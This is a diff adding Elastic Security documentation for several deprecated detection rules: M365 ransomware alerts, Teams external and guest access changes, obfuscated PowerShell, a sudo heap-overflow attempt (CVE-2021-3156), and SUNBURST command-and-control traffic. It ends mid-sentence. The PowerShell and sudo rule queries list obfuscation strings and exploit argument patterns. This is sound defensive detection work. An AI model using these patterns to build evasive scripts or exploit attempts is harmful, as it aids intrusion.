https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc new file mode 100644 index 0000000000..9538372fc3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-deprecated-m365-security-compliance-potential-ransomware-activity]] +=== Deprecated - M365 Security Compliance Potential Ransomware Activity + +Identifies when Microsoft Cloud App Security flags potential ransomware activity in Microsoft 365. This rule detects events where the Security Compliance Center reports a "Ransomware activity" or "Potential ransomware activity" alert, which may indicate file encryption, mass file modifications, or uploads of ransomware-infected files to cloud services such as SharePoint or OneDrive. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference +* https://www.microsoft.com/en-us/security/blog/threat-intelligence/ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - M365 Security Compliance Potential Ransomware Activity* + + +Microsoft 365's cloud services can be exploited by adversaries to distribute ransomware by uploading infected files. This detection rule leverages Microsoft Cloud App Security to identify suspicious uploads, focusing on successful events flagged as potential ransomware activity. By monitoring specific event datasets and actions, it helps security analysts pinpoint and mitigate ransomware threats, aligning with MITRE ATT&CK's impact tactics. + + +*Possible investigation steps* + + +- Identify the affected user account and review their recent file activity in Microsoft 365 for signs of mass file encryption, renaming with unusual extensions, or rapid file modifications. +- Examine the file names, extensions, and metadata of the flagged uploads to determine if they match known ransomware patterns (e.g., `.encrypted`, `.locked`, or ransom note files like `README.txt` or `DECRYPT_INSTRUCTIONS.html`). +- Correlate this alert with other security events from the same user or source IP, such as impossible travel, failed login attempts, or suspicious inbox rules, to identify potential account compromise. +- Check whether the affected user's endpoint shows signs of ransomware execution, such as high CPU usage, mass file system changes, or known ransomware process names. +- Review SharePoint or OneDrive file version history to determine the scope of encrypted or modified files and whether recovery via version rollback is possible. +- Contact the user to verify whether the activity is legitimate or if their account or device may have been compromised. + + +*False positive analysis* + + +- Legitimate file uploads by trusted users may trigger alerts if the files are mistakenly flagged as ransomware. To manage this, create exceptions for specific users or groups who frequently upload large volumes of files. +- Automated backup processes that upload encrypted files to the cloud can be misidentified as ransomware activity. Exclude these processes by identifying and whitelisting the associated service accounts or IP addresses. +- Certain file types or extensions commonly used in business operations might be flagged. Review and adjust the detection rule to exclude these file types if they are consistently identified as false positives. +- Collaborative tools that sync files across devices may cause multiple uploads that appear suspicious. Monitor and exclude these tools by recognizing their typical behavior patterns and adjusting the rule settings accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further uploads and potential spread of ransomware within the cloud environment. +- Quarantine the uploaded files flagged as potential ransomware to prevent access and further distribution. +- Conduct a thorough scan of the affected user's devices and cloud storage for additional signs of ransomware or other malicious activity. +- Notify the security operations team to initiate a deeper investigation into the source and scope of the ransomware activity. +- Restore any affected files from secure backups, ensuring that the backups are clean and free from ransomware. +- Review and update access controls and permissions for the affected user and related accounts to minimize the risk of future incidents. +- Escalate the incident to senior security management and, if necessary, involve legal or compliance teams to assess any regulatory implications. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and + event.provider:SecurityComplianceCenter and + event.category:web and + rule.name:("Ransomware activity" or "Potential ransomware activity") and + event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-teams-external-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-teams-external-access-enabled.asciidoc new file mode 100644 index 0000000000..db9cf79a8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-teams-external-access-enabled.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-deprecated-m365-teams-external-access-enabled]] +=== Deprecated - M365 Teams External Access Enabled + +Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users communicate with other users that are outside their organization. An adversary may enable external access or add an allowed domain to exfiltrate data or maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoftteams/manage-external-access + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Teams External Access Enabled* + + +Microsoft Teams' external access feature allows users to communicate with individuals outside their organization, facilitating collaboration. However, adversaries can exploit this by enabling external access or adding trusted domains to exfiltrate data or maintain persistence. The detection rule monitors audit logs for changes in federation settings, specifically when external access is successfully enabled, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Set-CsTenantFederationConfiguration" to identify when and by whom the external access was enabled. +- Examine the o365.audit.Parameters.AllowFederatedUsers field to confirm that it is set to True, indicating that external access was indeed enabled. +- Investigate the user account associated with the event to determine if the action was authorized and if the account has a history of suspicious activity. +- Check the event.provider field to see if the change was made through SkypeForBusiness or MicrosoftTeams, which may provide additional context on the method used. +- Assess the event.outcome field to ensure the action was successful and not a failed attempt, which could indicate a potential security threat. +- Look into any recent changes in the list of allowed domains to identify if any unauthorized or suspicious domains have been added. + + +*False positive analysis* + + +- Routine administrative changes to federation settings can trigger alerts. Regularly review and document these changes to differentiate between legitimate and suspicious activities. +- Organizations with frequent collaboration with external partners may see increased alerts. Consider creating exceptions for known trusted domains to reduce noise. +- Scheduled updates or policy changes by IT teams might enable external access temporarily. Coordinate with IT to log these activities and exclude them from triggering alerts. +- Automated scripts or tools used for configuration management can inadvertently enable external access. Ensure these tools are properly documented and monitored to prevent false positives. +- Changes made during mergers or acquisitions can appear suspicious. Maintain a record of such events and adjust monitoring rules accordingly to account for expected changes. + + +*Response and remediation* + + +- Immediately disable external access in Microsoft Teams to prevent further unauthorized communication with external domains. +- Review and remove any unauthorized or suspicious domains added to the allowed list in the Teams federation settings. +- Conduct a thorough audit of recent changes in the Teams configuration to identify any other unauthorized modifications or suspicious activities. +- Reset credentials and enforce multi-factor authentication for accounts involved in the configuration change to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of data exfiltration or if the scope of the breach is unclear. +- Implement enhanced monitoring and alerting for changes in Teams federation settings to detect similar threats in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTenantFederationConfiguration" and +o365.audit.Parameters.AllowFederatedUsers:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-teams-guest-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-teams-guest-access-enabled.asciidoc new file mode 100644 index 0000000000..8f57d730b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-m365-teams-guest-access-enabled.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-deprecated-m365-teams-guest-access-enabled]] +=== Deprecated - M365 Teams Guest Access Enabled + +Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/skype/get-csteamsclientconfiguration?view=skype-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Teams Guest Access Enabled* + + +Microsoft Teams allows organizations to collaborate with external users through guest access, facilitating communication and teamwork. However, adversaries can exploit this feature to gain persistent access to sensitive environments by enabling guest access without authorization. The detection rule monitors audit logs for specific configurations that indicate guest access has been enabled, helping identify unauthorized changes and potential security breaches. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the event.action "Set-CsTeamsClientConfiguration" was successfully executed with the parameter o365.audit.Parameters.AllowGuestUser set to True. +- Identify the user account responsible for enabling guest access by examining the event logs for the user ID or account name associated with the action. +- Check the user's activity history to determine if there are any other suspicious actions or patterns, such as changes to other configurations or unusual login times. +- Investigate the context of the change by reviewing any related communications or requests that might justify enabling guest access, ensuring it aligns with organizational policies. +- Assess the potential impact by identifying which teams and channels now have guest access enabled and evaluate the sensitivity of the information accessible to external users. +- Contact the user or their manager to verify if the change was authorized and necessary, and document their response for future reference. + + +*False positive analysis* + + +- Legitimate collaboration with external partners may trigger alerts when guest access is enabled for business purposes. To manage this, create exceptions for known and approved external domains or specific projects that require guest access. +- Routine administrative actions by IT staff to enable guest access for specific teams or channels can be mistaken for unauthorized changes. Implement a process to log and approve such changes internally, and exclude these from triggering alerts. +- Automated scripts or third-party applications that configure Teams settings, including guest access, might cause false positives. Identify and whitelist these scripts or applications to prevent unnecessary alerts. +- Changes made during scheduled maintenance windows can be misinterpreted as unauthorized. Define and exclude these time periods from monitoring to reduce false positives. + + +*Response and remediation* + + +- Immediately disable guest access in Microsoft Teams by updating the Teams client configuration to prevent unauthorized external access. +- Conduct a thorough review of recent audit logs to identify any unauthorized changes or suspicious activities related to guest access settings. +- Notify the security team and relevant stakeholders about the potential breach to ensure awareness and initiate further investigation. +- Revoke any unauthorized guest accounts that have been added to Teams to eliminate potential persistence mechanisms. +- Implement additional monitoring on Teams configurations to detect any future unauthorized changes to guest access settings. +- Escalate the incident to the organization's incident response team for a comprehensive investigation and to determine if further containment actions are necessary. +- Review and update access control policies to ensure that enabling guest access requires appropriate authorization and oversight. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTeamsClientConfiguration" and +o365.audit.Parameters.AllowGuestUser:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-potential-powershell-obfuscated-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-potential-powershell-obfuscated-script.asciidoc new file mode 100644 index 0000000000..b3ea6848e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-potential-powershell-obfuscated-script.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-deprecated-potential-powershell-obfuscated-script]] +=== Deprecated - Potential PowerShell Obfuscated Script + +Identifies scripts that contain patterns and known methods that obfuscate PowerShell code. Attackers can use obfuscation techniques to bypass PowerShell security protections such as Antimalware Scan Interface (AMSI). + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/danielbohannon/Invoke-Obfuscation + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Potential PowerShell Obfuscated Script* + + +PowerShell is a powerful scripting language used for task automation and configuration management in Windows environments. Adversaries exploit its flexibility to obfuscate scripts, evading security measures like AMSI. The detection rule identifies obfuscation patterns, such as string manipulation and encoding techniques, to flag potentially malicious scripts, aiding in defense evasion detection. + + +*Possible investigation steps* + + +- Review the PowerShell script block text captured in the alert to identify any suspicious patterns or obfuscation techniques, such as string manipulation or encoding methods like "[string]::join" or "-Join". +- Check the process execution details, including the parent process and command line arguments, to understand the context in which the PowerShell script was executed. +- Investigate the source and destination of the script execution by examining the host and user details to determine if the activity aligns with expected behavior or if it originates from an unusual or unauthorized source. +- Analyze any network connections or file modifications associated with the PowerShell process to identify potential data exfiltration or lateral movement activities. +- Correlate the alert with other security events or logs, such as Windows Event Logs or network traffic logs, to gather additional context and identify any related suspicious activities. +- Assess the risk and impact of the detected activity by considering the severity and risk score provided in the alert, and determine if immediate remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate administrative scripts may use string manipulation and encoding techniques for benign purposes, such as data processing or configuration management. Review the context of the script execution and verify the source and intent before flagging it as malicious. +- Scripts that automate complex tasks might use obfuscation-like patterns to handle data securely or efficiently. Consider whitelisting known scripts or trusted sources to reduce false positives. +- Development and testing environments often run scripts with obfuscation patterns for testing purposes. Exclude these environments from the rule or create exceptions for specific users or groups involved in development. +- Security tools and monitoring solutions might generate PowerShell scripts with obfuscation patterns as part of their normal operation. Identify these tools and exclude their activities from triggering the rule. +- Regularly update the list of exceptions and whitelisted scripts to ensure that new legitimate scripts are not mistakenly flagged as threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potentially malicious scripts. +- Terminate any suspicious PowerShell processes identified by the detection rule to halt ongoing malicious activity. +- Conduct a thorough review of the PowerShell script block logs to identify and remove any obfuscated scripts or malicious code remnants. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Update and patch the affected system to ensure all security vulnerabilities are addressed, reducing the risk of exploitation. +- Monitor the system and network for any signs of re-infection or similar obfuscation patterns to ensure the threat has been fully mitigated. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "[string]::join" or + "-Join" or + "[convert]::toint16" or + "[char][int]$_" or + ("ConvertTo-SecureString" and "PtrToStringAuto") or + "-BXor" or + ("replace" and "char") or + "[array]::reverse" or + "-replace" + ) and + powershell.file.script_block_text : ( + ("$pSHoMe[" and "+$pSHoMe[") or + ("$ShellId[" and "+$ShellId[") or + ("$env:ComSpec[4" and "25]-Join") or + (("Set-Variable" or "SV" or "Set-Item") and "OFS") or + ("*MDR*" and "Name[3,11,2]") or + ("$VerbosePreference" and "[1,3]+'X'-Join''") or + ("rahc" or "ekovin" or "gnirts" or "ecnereferpesobrev" or "ecalper" or "cepsmoc" or "dillehs") or + ("System.Management.Automation.$([cHAr]" or "System.$([cHAr]" or ")+[cHAR]([byte]") + ) and + not powershell.file.script_block_text : ( + ("Copyright (c) 2018 Ansible Project" or "Export-ModuleMember -Function Add-CSharpType") and + ("[Object]$AnsibleModule" or "$AnsibleModule.Tmpdir") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-sudo-heap-based-buffer-overflow-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-sudo-heap-based-buffer-overflow-attempt.asciidoc new file mode 100644 index 0000000000..e58794584d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-sudo-heap-based-buffer-overflow-attempt.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-deprecated-sudo-heap-based-buffer-overflow-attempt]] +=== Deprecated - Sudo Heap-Based Buffer Overflow Attempt + +Identifies the attempted use of a heap-based buffer overflow vulnerability for the Sudo binary in Unix-like systems (CVE-2021-3156). Successful exploitation allows an unprivileged user to escalate to the root user. + +*Rule type*: threshold + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-3156 +* https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit +* https://www.bleepingcomputer.com/news/security/latest-macos-big-sur-also-has-sudo-root-privilege-escalation-flaw +* https://www.sudo.ws/alerts/unescape_overflow.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Sudo Heap-Based Buffer Overflow Attempt* + + +Sudo is a critical utility in Unix-like systems, allowing users to execute commands with elevated privileges. A heap-based buffer overflow in Sudo (CVE-2021-3156) can be exploited by attackers to gain root access. Adversaries may craft specific command-line arguments to trigger this vulnerability. The detection rule identifies suspicious Sudo or Sudoedit invocations with particular argument patterns, signaling potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of suspicious Sudo or Sudoedit invocations with the specific argument patterns: process.args containing a backslash followed by either "-i" or "-s". +- Examine the process execution context by gathering additional details such as the user account associated with the process, the parent process, and the command line used. +- Check the system logs for any other unusual or unauthorized activities around the time of the alert to identify potential lateral movement or further exploitation attempts. +- Investigate the history of the user account involved to determine if there have been any previous suspicious activities or privilege escalation attempts. +- Assess the system for any signs of compromise or unauthorized changes, such as new user accounts, modified files, or unexpected network connections. +- Verify the current version of Sudo installed on the system to determine if it is vulnerable to CVE-2021-3156 and consider applying patches or updates if necessary. + + +*False positive analysis* + + +- Routine administrative tasks using sudo or sudoedit with interactive or shell options may trigger the rule. Review the context of these commands and consider excluding specific user accounts or scripts that are known to perform legitimate administrative functions. +- Automated scripts or cron jobs that use sudo with the -i or -s options for legitimate purposes can be flagged. Identify these scripts and add them to an exception list to prevent unnecessary alerts. +- Development or testing environments where users frequently test commands with elevated privileges might generate false positives. Implement a separate monitoring policy for these environments or exclude known test accounts. +- Security tools or monitoring solutions that simulate attacks for testing purposes may inadvertently trigger the rule. Ensure these tools are recognized and excluded from triggering alerts by adding them to an exception list. +- Users with legitimate reasons to frequently switch to root using sudo -i or sudo -s should be identified, and their activities should be monitored separately to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the attacker. +- Terminate any suspicious sudo or sudoedit processes identified by the detection rule to halt ongoing exploitation attempts. +- Apply the latest security patches and updates to the Sudo utility on all affected systems to remediate the vulnerability (CVE-2021-3156). +- Conduct a thorough review of system logs and process execution history to identify any unauthorized access or privilege escalation activities. +- Reset passwords for all user accounts on the affected system, especially those with elevated privileges, to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the scope of the breach. +- Implement enhanced monitoring and alerting for sudo and sudoedit command executions across the network to detect similar exploitation attempts in the future. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and event.type:start and + process.name:(sudo or sudoedit) and + process.args:(*\\ and ("-i" or "-s")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-sunburst-command-and-control-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-sunburst-command-and-control-activity.asciidoc new file mode 100644 index 0000000000..55f3fd802d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-deprecated-sunburst-command-and-control-activity.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-deprecated-sunburst-command-and-control-activity]] +=== Deprecated - SUNBURST Command and Control Activity + +The malware known as SUNBURST targets the SolarWind's Orion business software for command and control. This rule detects post-exploitation command and control activity of the SUNBURST backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - SUNBURST Command and Control Activity* + + +SUNBURST is a trojanized version of a digitally signed SolarWinds Orion plugin called SolarWinds.Orion.Core.BusinessLayer.dll. The plugin contains a backdoor that communicates via HTTP to third-party servers. After an initial dormant period of up to two weeks, SUNBURST may retrieve and execute commands that instruct the backdoor to transfer files, execute files, profile the system, reboot the system, and disable system services. The malware's network traffic attempts to blend in with legitimate SolarWinds activity by imitating the Orion Improvement Program (OIP) protocol, and the malware stores persistent state data within legitimate plugin configuration files. The backdoor uses multiple obfuscated blocklists to identify processes, services, and drivers associated with forensic and anti-virus tools. + +More details on SUNBURST can be found on the https://www.mandiant.com/resources/sunburst-additional-technical-details[Mandiant Report]. + +This rule identifies suspicious network connections that attempt to blend in with legitimate SolarWinds activity by imitating the Orion Improvement Program (OIP) protocol behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the executable involved using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the environment at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Reimage the host operating system and restore compromised files to clean versions. +- Upgrade SolarWinds systems to the latest version to eradicate the chance of reinfection by abusing the same vector. +- Using the incident response data, update logging and audit policies to improve the mean 